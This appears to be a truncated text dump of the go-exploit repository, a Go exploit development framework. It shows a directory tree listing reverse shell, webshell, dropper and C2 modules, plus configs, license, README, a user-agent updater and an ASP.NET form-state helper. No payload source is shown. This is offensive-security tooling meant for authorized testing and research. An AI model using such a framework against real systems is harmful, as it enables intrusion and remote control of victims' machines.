Showing preview only (1,179K chars total). Download the full file or copy to clipboard to get everything.
Repository: vulncheck-oss/go-exploit
Branch: main
Commit: 1e067d1dbd2b
Files: 198
Total size: 1.1 MB
Directory structure:
gitextract_2r412ve6/
├── .github/
│ ├── dependabot.yml
│ └── workflows/
│ ├── go.yml
│ └── useragent-update.yml
├── .gitignore
├── .golangci.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── _uaupdate/
│ ├── README.md
│ └── main.go
├── aspnet/
│ ├── aspnet.go
│ └── aspnet_test.go
├── c2/
│ ├── channel/
│ │ └── channel.go
│ ├── cli/
│ │ └── basic.go
│ ├── external/
│ │ └── external.go
│ ├── factory.go
│ ├── factory_test.go
│ ├── httpservefile/
│ │ └── httpservefile.go
│ ├── httpserveshell/
│ │ └── httpserveshell.go
│ ├── httpshellserver/
│ │ └── httpshellserver.go
│ ├── shelltunnel/
│ │ └── shelltunnel.go
│ ├── simpleshell/
│ │ ├── simpleshellclient.go
│ │ └── simpleshellserver.go
│ └── sslshell/
│ └── sslshellserver.go
├── cli/
│ ├── commandline.go
│ └── commandline_test.go
├── config/
│ ├── config.go
│ └── config_test.go
├── db/
│ ├── create.go
│ ├── get.go
│ └── update.go
├── docs/
│ ├── c2.md
│ ├── custom-payloads.md
│ ├── db.md
│ ├── development.md
│ ├── exploit-types.md
│ ├── getting-started.md
│ ├── output.md
│ ├── scanning.md
│ ├── usage-example.md
│ ├── version-checking.md
│ └── windows-lpe.md
├── dotnet/
│ ├── data/
│ │ └── ReturnMessage.xml
│ ├── dotnetgadget.go
│ ├── dotnetgadget_test.go
│ ├── formatters.go
│ ├── general_types.go
│ ├── records.go
│ ├── viewstate.go
│ └── viewstate_test.go
├── encryption/
│ ├── aes.go
│ ├── aes_crypto.go
│ ├── aes_crypto_test.go
│ ├── certificate.go
│ ├── des.go
│ ├── kdf.go
│ ├── xor.go
│ └── xor_test.go
├── framework.go
├── framework_test.go
├── go.mod
├── go.sum
├── java/
│ ├── constants.go
│ ├── gadget_test.go
│ ├── gadgets.go
│ ├── javaclass.go
│ ├── javagadget.go
│ ├── ldapjndi/
│ │ └── ldapjndi.go
│ └── objects.go
├── output/
│ ├── commonlog.go
│ ├── exploitlog.go
│ └── frameworklog.go
├── payload/
│ ├── bindshell/
│ │ ├── bindshell.go
│ │ ├── bindshell_test.go
│ │ ├── netcat.go
│ │ └── telnet.go
│ ├── dropper/
│ │ ├── dropper.go
│ │ ├── dropper_test.go
│ │ ├── groovy.go
│ │ ├── php/
│ │ │ ├── dropper.php
│ │ │ └── dropper_secure.php
│ │ ├── php.go
│ │ ├── unix.go
│ │ └── windows.go
│ ├── encode.go
│ ├── encode_test.go
│ ├── fileplant/
│ │ ├── cron.go
│ │ └── fileplant_test.go
│ ├── payload.go
│ ├── payload_test.go
│ ├── reverse/
│ │ ├── bash.go
│ │ ├── gjscript/
│ │ │ └── glib_spawn.gjs
│ │ ├── gjscript.go
│ │ ├── groovy/
│ │ │ └── classic.groovy
│ │ ├── groovy.go
│ │ ├── java/
│ │ │ └── process_builder.java
│ │ ├── java.go
│ │ ├── jjs/
│ │ │ ├── reverse_shell.jjs
│ │ │ └── reverse_shell_ssl.jjs
│ │ ├── jjs.go
│ │ ├── js.go
│ │ ├── netcat.go
│ │ ├── nodejs/
│ │ │ ├── reverse.js
│ │ │ └── reverse_tls.js
│ │ ├── openssl.go
│ │ ├── perl.go
│ │ ├── php/
│ │ │ ├── unflattened.php
│ │ │ └── unflattened_self_delete.php
│ │ ├── php.go
│ │ ├── python/
│ │ │ ├── reverse27.py
│ │ │ ├── reverse27_secure.py
│ │ │ └── reverse3_12_secure.py
│ │ ├── python.go
│ │ ├── reverse.go
│ │ ├── reverse_test.go
│ │ ├── ruby.go
│ │ ├── telnet.go
│ │ ├── vbs/
│ │ │ └── reverse_http.vbs
│ │ └── vbs.go
│ ├── webshell/
│ │ ├── aspx.go
│ │ ├── bash.go
│ │ ├── jsp/
│ │ │ ├── webshell.jsp
│ │ │ └── webshell_min.jsp
│ │ ├── jsp.go
│ │ ├── php.go
│ │ ├── webshell.go
│ │ └── webshell_test.go
│ ├── wrapper.go
│ └── wrapper_test.go
├── product/
│ ├── asus/
│ │ └── asus.go
│ ├── product.go
│ └── wordpress/
│ ├── plugins.go
│ └── wordpress.go
├── protocol/
│ ├── afp/
│ │ └── afp.go
│ ├── ajp/
│ │ ├── ajp.go
│ │ └── ajp_test.go
│ ├── dotnetremoting/
│ │ └── dotnetremoting.go
│ ├── fortinet/
│ │ └── fgfm.go
│ ├── http-user-agent.txt
│ ├── httphelper.go
│ ├── httphelper_test.go
│ ├── ikev2/
│ │ ├── ikev2.go
│ │ ├── ikev2_test.go
│ │ ├── packs.go
│ │ └── types.go
│ ├── mikrotik/
│ │ ├── mikrotik_test.go
│ │ ├── msg.go
│ │ ├── webfig.go
│ │ └── winbox.go
│ ├── rocketmq/
│ │ ├── remoting.go
│ │ └── remoting_test.go
│ ├── sip/
│ │ ├── examples/
│ │ │ ├── README.md
│ │ │ ├── call/
│ │ │ │ └── main.go
│ │ │ ├── docker-compose.yml
│ │ │ ├── ping/
│ │ │ │ └── main.go
│ │ │ └── tcp/
│ │ │ └── main.go
│ │ ├── helper.go
│ │ ├── helper_test.go
│ │ └── user-agent.txt
│ ├── tcpsocket.go
│ └── udpsocket.go
├── random/
│ ├── random.go
│ └── random_test.go
├── search/
│ ├── search_test.go
│ ├── semver.go
│ └── xpath.go
├── transform/
│ ├── encode.go
│ ├── encode_test.go
│ ├── escape.go
│ ├── escape_test.go
│ ├── parsing.go
│ ├── parsing_test.go
│ ├── transform.go
│ └── transform_test.go
└── windows/
├── alpc_other.go
├── alpc_test.go
├── alpc_windows.go
├── device_other.go
├── device_test.go
├── device_windows.go
├── fsctl_other.go
├── fsctl_windows.go
├── handle_other.go
├── handle_test.go
├── handle_windows.go
├── memory_other.go
├── memory_test.go
├── memory_windows.go
├── platform_other.go
├── platform_windows.go
├── service_other.go
├── service_test.go
├── service_windows.go
├── token_other.go
├── token_test.go
├── token_windows.go
├── windows.go
└── windows_test.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/dependabot.yml
================================================
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
version: 2
updates:
- package-ecosystem: "gomod" # See documentation for possible values
directory: "/" # Location of package manifests
schedule:
interval: "daily"
================================================
FILE: .github/workflows/go.yml
================================================
# This workflow will build a golang project
# For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-go
name: Go
permissions:
contents: read
on:
push:
branches: [ "main" ]
pull_request:
branches: [ "main" ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: '1.26.1'
- name: Install golangci-lint
run: curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin v2.10.1
- name: Build
run: go build -v ./...
- name: Lint
run: golangci-lint run --fix
- name: Test
run: go test -v ./...
================================================
FILE: .github/workflows/useragent-update.yml
================================================
name: User-Agent Update
on:
workflow_dispatch:
schedule:
- cron: '0 0 * * 0'
permissions:
contents: write
pull-requests: write
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout Repo
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Setup golang
uses: actions/setup-go@v4
with:
go-version: 1.21.x
- name: Fetch JSONParser
run: |
go get github.com/buger/jsonparser
working-directory: _uaupdate
- name: Sort UA Data
run: |
go run .
working-directory: _uaupdate
- name: Reset gomod
run: |
go mod tidy
- name: Create local changes
run: |
git add protocol/http-user-agent.txt
- name: Commit files
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git commit --allow-empty -m "HTTP User Agent update"
- name: Create Pull Request
uses: peter-evans/create-pull-request@v6
with:
token: ${{ secrets.GH_TOKEN }}
branch: ua-update
title: HTTP User-Agent update
================================================
FILE: .gitignore
================================================
# If you prefer the allow list template instead of the deny list, see community template:
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
#
# Binaries for programs and plugins
*.exe
*.exe~
*.dll
*.so
*.dylib
# Test binary, built with `go test -c`
*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Dependency directories (remove the comment below to include it)
# vendor/
# Go workspace file
go.work
================================================
FILE: .golangci.yml
================================================
version: "2"
linters:
enable:
- asasalint
- asciicheck
- bidichk
- canonicalheader
- containedctx
- contextcheck
- copyloopvar
- cyclop
- decorder
- dogsled
- durationcheck
- err113
- errchkjson
- errname
- errorlint
- exhaustive
- fatcontext
- ginkgolinter
- gocheckcompilerdirectives
- gochecksumtype
- gocognit
- goconst
- gocritic
- gocyclo
- godot
- godox
- goheader
- gomoddirectives
- gomodguard
- gosmopolitan
- grouper
- importas
- interfacebloat
- intrange
- loggercheck
- makezero
- mirror
- misspell
- musttag
- nakedret
- nilerr
- nilnesserr
- nilnil
- nlreturn
- nolintlint
- nonamedreturns
- perfsprint
- predeclared
- promlinter
- protogetter
- reassign
- recvcheck
- revive
- rowserrcheck
- sloglint
- spancheck
- sqlclosecheck
- staticcheck
- tagalign
- tagliatelle
- testifylint
- unconvert
- unparam
- usestdlibvars
- wastedassign
- whitespace
- wrapcheck
- zerologlint
settings:
cyclop:
max-complexity: 25
exclusions:
generated: lax
presets:
- comments
- common-false-positives
- legacy
- std-error-handling
rules:
- linters:
- staticcheck
path: c2/sslshell/sslshellserver.go
text: SA1019
- linters:
- staticcheck
path: c2/httpservefile/httpservefile.go
text: SA1019
- linters:
- staticcheck
path: httphelper.go
text: SA1019
- linters:
- staticcheck
path: c2/shelltunnel/shelltunnel.go
text: SA1019
- linters:
- staticcheck
path: cli/commandline_test.go
text: SA1019
- linters:
- gocognit
- gocyclo
- cyclop
path: protocol/sip/helper_test.go
paths:
- protocol/mikrotik/msg.go
- third_party$
- builtin$
- examples$
formatters:
enable:
- gci
- gofmt
- gofumpt
- goimports
exclusions:
generated: lax
paths:
- protocol/mikrotik/msg.go
- third_party$
- builtin$
- examples$
================================================
FILE: CONTRIBUTING.md
================================================
# How to contribute to go-exploit
Thank you for your interest in contributing to go-exploit!
## General Guidance
When submitting issues, please ensure they include sufficient information to reproduce the problem.
For new features, make sure the following is done provided or done:
- A reasonable use case
- Appropriate unit tests
- All tests pass
- Ensure compliance with our `.golangci.yml` without generating any complaints
- Ensure that linting passes and there is nothing to fix
Linting and testing can be done with:
```sh
golangci-lint run --fix
go test -v ./...
```
================================================
FILE: LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2023 VulnCheck Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: README.md
================================================
# go-exploit: Go Exploit Framework
[](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit) [](https://github.com/vulncheck-oss/go-exploit/actions/workflows/go.yml) [](https://goreportcard.com/report/github.com/vulncheck-oss/go-exploit)
`go-exploit` is an exploit development framework for [Go](https://go.dev/). The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other tools. For API documentation, check out the package on [pkg.go.dev/github.com/vulncheck-oss/go-exploit](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit).
## Go Exploit Phases
The Go Exploit Framework includes the following Phases which can be chained or executed independently:
* [Go Exploit Framework Phases](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/getting-started.md)
* Step 1 - Target Verification
* Step 2 - [Version Scanning](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/version-checking.md)
* Step 3 - [Exploitation](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/exploit-types.md)
* Step 4 - [Command & Control](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md)
## Go Exploit Features
The Go Exploit Framework includes these additional features:
* [Auto-detection](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#autodetect-ssl) of SSL/TLS on the remote target.
* Fully [proxy-aware](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#Proxy).
* Key-value or JSON [output](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/output.md) for easy integration into other automated systems.
* Builtin Java [gadgets](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javagadget.go), [classes](https://github.com/vulncheck-oss/go-exploit/blob/main/java/javaclass.go), [LDAP](https://github.com/vulncheck-oss/go-exploit/blob/main/java/ldapjndi/ldapjndi.go), and [serializer](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/java) infrastructure.
* Builtin dotnet [serializers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/dotnet) and generators.
* A selection of [multiple network protocol helpers](https://pkg.go.dev/github.com/vulncheck-oss/go-exploit@main/protocol#section-directories).
* Many example [reverse shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/reverse), [dropper](https://github.com/vulncheck-oss/go-exploit/tree/main/payload/dropper), and [bind shell](https://github.com/vulncheck-oss/go-exploit/blob/main/payload/bindshell) payloads.
* Functionality that integrates exploitation with other [tools](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using--o) or frameworks like [Metasploit](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md#using-httpservefile) and Sliver.
* Builtin ["c2"](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/c2.md) for catching encrypted/unencrypted shells or hosting implants, as well as the [ability to create your own C2 integrations](github.com/vulncheck-oss/external-c2-experiments/).
* Automatic handling of [custom payloads and commands](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/custom-payloads.md).
* Supports multiple target [formats](https://github.com/vulncheck-oss/go-exploit/blob/main/docs/scanning.md#providing-targets) including lists, file-based, VulnCheck IP-Intel, and more.
Documentation for specific features can be found in the [`docs/` directory](https://github.com/vulncheck-oss/go-exploit/tree/main/docs).
## Examples
* [CVE-2025-0364](https://github.com/vulncheck-oss/cve-2025-0364): An example of a go-exploit using complex web application logic for BigAnt CVE-2025-0364.
* [CVE-2023-22527](https://github.com/vulncheck-oss/cve-2023-22527): Three go-exploit implementations taking unique approaches to Atlassian Confluence CVE-2023-22527.
* [CVE-2023-25194](https://github.com/vulncheck-oss/cve-2023-25194): Demonstrates exploiting CVE-2023-25194 against Apache Druid (using Kafka).
* [CVE-2023-46604](https://github.com/vulncheck-oss/cve-2023-46604): Demonstrates exploiting CVE-2023-46604 and using the go-exploit HTTPServeFile c2.
* [CVE-2023-36845](https://github.com/vulncheck-oss/cve-2023-36845-scanner): Scans for Juniper firewalls to determine if they are vulnerable to CVE-2023-36845.
* [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467): A go-exploit implementation of CVE-2023-51467 that lands a Nashorn reverse shell.
## Contributing
Community contributions in the form of issues and features are welcome. Please see [our contributors guide in CONTRIBUTING.md](CONTRIBUTING.md).
## License
`go-exploit` is licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). For more details, refer to the LICENSE file.
================================================
FILE: _uaupdate/README.md
================================================
# Updating the go-exploit HTTP User Agent
This main.go fetches user agents from the Project Discovery [useragent](https://github.com/projectdiscovery/useragent) package (using the [MIT license](https://github.com/projectdiscovery/useragent/blob/main/LICENSE)), and filters them down to the most recent Windows Chrome User-Agent. The output is written to `./protocol/http-user-agent.txt`.
Usage example:
```console
albinolobster@mournland:~/go-exploit/_uaupdate$ go run .
albinolobster@mournland:~/go-exploit/_uaupdate$ cat ../protocol/http-user-agent.txt
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
```
================================================
FILE: _uaupdate/main.go
================================================
package main
import (
"os"
"regexp"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
)
func main() {
uri := "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome"
resp, body, ok := protocol.HTTPSendAndRecv("GET", uri, "")
if !ok {
return
}
if resp.StatusCode != 200 {
output.PrintfError("Unexpected status code: %d %s", resp.StatusCode, body)
return
}
// looking in the body for the latest Chrome on Windows whatever
matches := regexp.MustCompile(`<li><span class="code">(Mozilla/\d+.\d+ \(Windows NT [^<]+)</span></li>`).FindStringSubmatch(body)
if len(matches) != 0 {
_ = os.WriteFile("../protocol/http-user-agent.txt", []byte(matches[1]), 0o644)
}
}
================================================
FILE: aspnet/aspnet.go
================================================
// Package aspnet provides helper functions to deal with ASP.NET and C# applications that utilize the state preserving hidden fields. These are notoriously annoying to automate and require multiple requests per action and often simulate user interaction clicks. The ASPState type helps speed up development of those requests.
//
// The package can be used to facilitate chains of go-exploit requests to ASP.NET applications like so:
//
// state := aspnet.State{}
// resp, body, ok := protocol.HTTPSendAndRecvWith("GET", conf.GenerateURL("/management/AdminDatabase.aspx"), "")
// if !ok {
// output.PrintError("Could not retrieve to the admin database endpoint")
//
// return false
// }
//
// state.Update(body)
//
// // Now only the parameters that are required can be utilized and no special body parsing
// // for __VIEWSTATE and friends is required.
// p := state.MergeParams(map[string]string{
// "__EVENTTARGET": "ctl00$MainContent$DatabaseType",
// "ctl00%24MainContent%24DatabaseType": "psql",
// })
// params := protocol.CreateRequestParamsEncoded(p)
// headers["Content-Type"] = "application/x-www-form-urlencoded"
// resp, body, ok = protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers)
// if !ok {
// output.PrintError("Could not POST to the admin database endpoint")
//
// return false
// }
//
// // Update the state from the previous POST response, this time we only want the states and have no content
// state.Update(body)
// params := protocol.CreateRequestParamsEncoded(state.AsParams())
// resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", conf.GenerateURL("/management/AdminDatabase.aspx"), params, headers)
// if !ok {
// output.PrintError("Could not POST to the admin database endpoint")
//
// return false
// }
package aspnet
import (
"maps"
"strings"
"github.com/antchfx/htmlquery"
)
// State represents the current state of the steps in a request chain for a ASP.NET application. The state should have all possible ASP.NET common state values represented and if they are not set in the current request state will be nil. This state struct only covers:
// - __VIEWSTATE
// - __VIEWSTATEGENERATOR
// - __EVENTVALIDATION
// - __EVENTARGUMENT
// - __EVENTTARGET
// - __LASTFOCUS
//
// The __EVENTTARGET and __EVENTARGUMENT are purposefully not omitted as there are often multiple or non-state required targets, so ensure they are set to the specific target.
type State struct {
ViewState *string
ViewStateGenerator *string
EventTarget *string
EventValidation *string
EventArgument *string
LastFocus *string
}
// xPathQuiet is similar to search.XPath, but does not trigger framework errors as these can be expected to be empty.
func xPathQuiet(document, path string) (string, bool) {
doc, err := htmlquery.Parse(strings.NewReader(document))
if err != nil {
return "", false
}
n := htmlquery.FindOne(doc, path)
if n == nil {
return "", false
}
return htmlquery.InnerText(n), true
}
// AsParams creates a map structure for use with the protocol package HTTP helpers or in their raw map form. If the last process state did not have one of the parameters it will not be set, but empty string values are preserved.
func (state *State) AsParams() map[string]string {
u := map[string]string{}
if state.ViewState != nil {
u["__VIEWSTATE"] = *state.ViewState
}
if state.ViewStateGenerator != nil {
u["__VIEWSTATEGENERATOR"] = *state.ViewStateGenerator
}
if state.EventValidation != nil {
u["__EVENTVALIDATION"] = *state.EventValidation
}
if state.EventArgument != nil {
u["__EVENTARGUMENT"] = *state.EventArgument
}
if state.EventTarget != nil {
u["__EVENTTARGET"] = *state.EventTarget
}
if state.LastFocus != nil {
u["__LASTFOCUS"] = *state.LastFocus
}
return u
}
// MergeParams merges the hand written or custom parameters and the ASP.NET state parameters to allow for a single call to protocol.CreateRequestParamsEncoded for both the current state and any modifications that are necessary. The same rules for parameter empty vs not found exist as AsParams. The parameters passed in the function will override the underlying state values if they are passed.
func (state *State) MergeParams(p map[string]string) map[string]string {
params := state.AsParams()
maps.Copy(params, p)
return params
}
// Update the State to extract the supported state values and reset the parameters that are not found. This should be called after each HTTP request that requires state updates. This update only works on the first matched state document and if multiple states are set on the expected page manual updating may be required.
func (state *State) Update(body string) {
v, hasMatch := xPathQuiet(body, `//input[@name="__VIEWSTATE"]/@value`)
if hasMatch {
state.ViewState = &v
} else {
state.ViewState = nil
}
vg, hasMatch := xPathQuiet(body, `//input[@name="__VIEWSTATEGENERATOR"]/@value`)
if hasMatch {
state.ViewStateGenerator = &vg
} else {
state.ViewStateGenerator = nil
}
ev, hasMatch := xPathQuiet(body, `//input[@name="__EVENTVALIDATION"]/@value`)
if hasMatch {
state.EventValidation = &ev
} else {
state.EventValidation = nil
}
et, hasMatch := xPathQuiet(body, `//input[@name="__EVENTTARGET"]/@value`)
if hasMatch {
state.EventTarget = &et
} else {
state.EventTarget = nil
}
ea, hasMatch := xPathQuiet(body, `//input[@name="__EVENTARGUMENT"]/@value`)
if hasMatch {
state.EventArgument = &ea
} else {
state.EventArgument = nil
}
lf, hasMatch := xPathQuiet(body, `//input[@name="__LASTFOCUS"]/@value`)
if hasMatch {
state.LastFocus = &lf
} else {
state.LastFocus = nil
}
}
================================================
FILE: aspnet/aspnet_test.go
================================================
package aspnet_test
import (
"testing"
"github.com/vulncheck-oss/go-exploit/aspnet"
)
var pageState1 = `<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head><meta http-equiv="X-UA-Compatible" content="IE=9" /><meta http-equiv="Page-Enter" content="Alpha(opacity=100)" /><title>
Gladinet Cloud Cluster
</title>
<body style="overflow:hidden;">
<form name="aspnetForm" method="post" action="./admindatabase.aspx" id="aspnetForm">
<div>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=" />
</div>
<div>
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="C73717A7" />
